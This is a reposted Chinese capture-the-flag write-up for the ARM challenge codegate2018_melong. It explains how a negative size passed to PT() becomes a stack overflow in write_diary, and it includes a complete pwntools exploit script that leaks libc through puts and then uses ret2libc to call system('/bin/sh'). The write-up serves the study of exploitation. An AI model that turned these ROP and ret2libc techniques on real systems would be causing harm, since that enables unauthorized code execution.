自学内容网 自学内容网

BUU刷题-Pwn-codegate2018_melong(ARM的ret2libc)

解题所涉知识点:

泄露或修改内存数据:

  1. 堆地址:
  2. 栈地址:
  3. libc地址:使用got表和plt表泄露数据 puts
  4. BSS段地址:
    劫持程序执行流程:ARM_ROP && 整数溢出转栈溢出 && ARM_ret2libc
    获得shell或flag:调用libc中的system

题目类型:
ARM_Pwn

相关知识点:

信息收集总结

题目信息:

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/codegate2018_melong]
└─$ checksec --file=melong                   
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fort
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   196 Symbols     No      0   
                                                                                                                    
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/codegate2018_melong]
└─$ file ./melong 
./melong: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=2c55e75a072020303e7c802d32a5b82432f329e9, not stripped

libc版本:
wp借鉴:ARM PWN:Codegate2018_Melong详细讲解-爱代码爱编程 (icode.best)
ctf-wiki ARM ROP Codegate2018_Melong题解_elf 32-bit lsb executable, arm, eabi5 version 1 (s-CSDN博客
ARM PWN:Codegate2018_Melong详细讲解_pwn arm melong-CSDN博客

核心伪代码分析:

存在利用的的代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
...

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  v7[0] = 0;
  tag = 0;
  puts("Welcome to the BPSEC gym\n");
  while ( 2 )
  {
    puts("1. Check your bmi");
    puts("2. Exercise");
    puts("3. Register personal training");
    puts("4. Write daily record");
    puts("5. Have some health menu");
    puts("6. Out of the gym\n");
    printf("Type the number:");
    _isoc99_scanf("%d", &chiceidx);
    switch ( chiceidx )
    {
      case 1:
        check(&tag, &v6);
        continue;
      case 2:
        if ( !tag )
          goto LABEL_5;
        exercise(&tag, &v6);
        continue;
      case 3:
        if ( tag )
          v7[0] = PT();
        else
LABEL_5:
          check_first();
        continue;
      case 4:
        if ( v7[0] )
          write_diary(v7, input);
        else
          puts("you should take personal training first!!");
        continue;
      case 5:
        diet_menu(v7);
        goto LABEL_13;
      case 6:
LABEL_13:
        puts("See you again :)");
        return 0;
      default:
        puts("Invalid number :(");
        continue;
    }
  }
}

这是一道菜单题目,可以又很多选项!发现PT函数存在问题!我们可以想通过先输入1,再输入3就可以进入存在漏洞的函数

size_t PT()
{
  size_t size; // [sp+4h] [bp-10h] BYREF
  void *ptr; // [sp+8h] [bp-Ch]
  int i; // [sp+Ch] [bp-8h]

  puts("Let's start personal training");
  puts("How long do you want to take personal training?");
  _isoc99_scanf("%d", &size);                   // 在这里输入-,就会导致识别成正数
  ptr = malloc(size);                           // malloc(-1)申请堆块失败!
  if ( ptr == exc2 )                            // 这里的.bss:00023060 exc2 DCD 0       exc会变为
  {
    puts("Okay, start to exercise!");
    for ( i = 0; i < size; ++i )
    {
      puts("you are getting healthy..");
      sleep(1u);
    }
    free(ptr);
    return size;                                // 返回0xffffffff
  }
  else
  {
    puts("Check your bmi again!!");
    free(ptr);
    return 0;
  }
}

在这里存在整数溢出函数,通过输入-1造成retrun返回0xffffffff

最后通过该函数实现栈溢出,将main函数的返回地址劫持:

_DWORD *__fastcall write_diary(_DWORD *result, void *a2)
{
  unsigned __int8 nbytes; // [sp+Fh] [bp-5h]

  nbytes = *result;
  if ( nbytes )
  {
    read(0, a2, nbytes);                        // nbytes的大小被控制为0xff,但是传入的变量只能存储52个字节
    return printf("you wrote %s\n", a2);
  }
  return result;
}

由于nbytes的大小可以控制,所以可以造成溢出!
但是要先解释main函数的死循环才可以触发

攻击思路总结

payload1 = b'a'*0x54 + p32(pop_r0_ret) + p32(puts_got) + p32(puts_plt) + p32(main_addr)*8
第一次栈溢出调用puts的plt表获取libc的地址

payload2 = cyclic(0x54) + p32(pop_r0_ret) + p32(next(libc.search(b"/bin/sh"))) + p32(libc.sym['system']) 
第二次栈溢出调用system函数获得shell

脚本:

from pwn import *

sh = process(["qemu-arm", "-L", "./", "./melong"])

elf = ELF("./melong", checksec = False)
libc = ELF("./lib/libc.so.6", checksec = False)
context.log_level = "debug"

def check(height, weight):
    sh.sendlineafter(":", "1")
    sh.sendlineafter(" : ", str(height))
    sh.sendlineafter(" : ", str(weight))

def PT(size):
    sh.sendlineafter(":", "3")
    sh.sendlineafter("?\n", str(size))

def write_diray(payload):
    sh.sendlineafter(":", "4")
    sh.send(payload)

def logout():
    sh.sendlineafter(":", "6")

pop_r0_ret = 0x00011bbc
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']

check(1,1) #完成对1选项执行流程
PT(-1) #在3选项中输入负数使得后面read()函数能够造成栈溢出

payload1 = b'a'*0x54 + p32(pop_r0_ret) + p32(puts_got) + p32(puts_plt) + p32(main_addr)*8 #puts.got作为puts.plt的参数,返回main函数,不知道为什么最后要乘8,如果你知道的话希望能够在评论区指点一下

write_diray(payload1)
logout()
sh.recvuntil("See you again :)\n")
leak = u32(sh.recvn(4)) #泄露
libc.address = leak - libc.sym['puts'] #计算libc基地址

check(1,1)
PT(-1)
payload2 = cyclic(0x54) + p32(pop_r0_ret) + p32(next(libc.search(b"/bin/sh"))) + p32(libc.sym['system']) #/bin/sh字符串作为system函数的参数,拿shell
write_diray(payload2)
logout()

sh.interactive()


原文地址:https://blog.csdn.net/qq_65474192/article/details/142794472

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!